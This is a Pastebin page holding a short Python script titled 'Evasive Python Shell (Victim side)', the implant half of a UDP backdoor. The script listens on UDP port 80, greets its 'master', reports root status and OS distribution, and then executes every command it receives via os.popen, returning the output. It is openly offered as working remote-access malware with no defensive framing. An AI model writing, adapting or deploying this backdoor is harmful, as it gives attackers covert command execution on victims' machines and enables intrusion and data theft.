SHARE
TWEET

Evasive Python Shell (Victim side)

a guest Feb 13th, 2016 950 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/python
  2.  
  3. import socket
  4. import os
  5. import sys
  6. import platform
  7.  
  8. def launch():
  9.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  10.     s.bind(('', 80))
  11.     launch = s.recvfrom(1024)
  12.     addr = launch[1][0]
  13.     port = launch[1][1]
  14.     s.sendto('hello master', (addr, port))
  15.     return s, addr, port
  16.  
  17. s, addr, port = launch()
  18.  
  19. def getsysinfo():
  20.     que = s.recvfrom(1024)
  21.     prompt = []
  22.     if que[1][0] == addr and que[1][1] == port:
  23.         if os.getuid() == 0:
  24.             prompt.append('root@')
  25.             prompt.append('# ')
  26.         else:
  27.             prompt.append('user@') 
  28.             prompt.append('$ ')
  29.         prompt.insert(1, platform.dist()[0])
  30.     s.sendto(''.join(prompt), (addr, port))
  31.     return
  32.  
  33. getsysinfo()
  34.  
  35. def shell():
  36.     while 1:
  37.         try:
  38.             command = s.recv(1024)
  39.             if command.strip().split()[0] == 'cd':
  40.                 os.chdir(command.strip('cd '))
  41.                 s.sendto('Changed Directory', (addr, port))
  42.             elif command.strip() == 'goodbye':
  43.                 s.sendto('Goodbye master', (addr, port))
  44.                 s.close()
  45.                 break
  46.             else:
  47.                 proc = os.popen(command)
  48.                 output = ''
  49.                 for i in proc.readlines():
  50.                     output += i
  51.                 output = output.strip()
  52.                 s.sendto(output, (addr, port))
  53.         except Exception:
  54.             s.sendto('An unexpected error has occured', (addr, port))
  55.             pass
  56.  
  57. shell()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top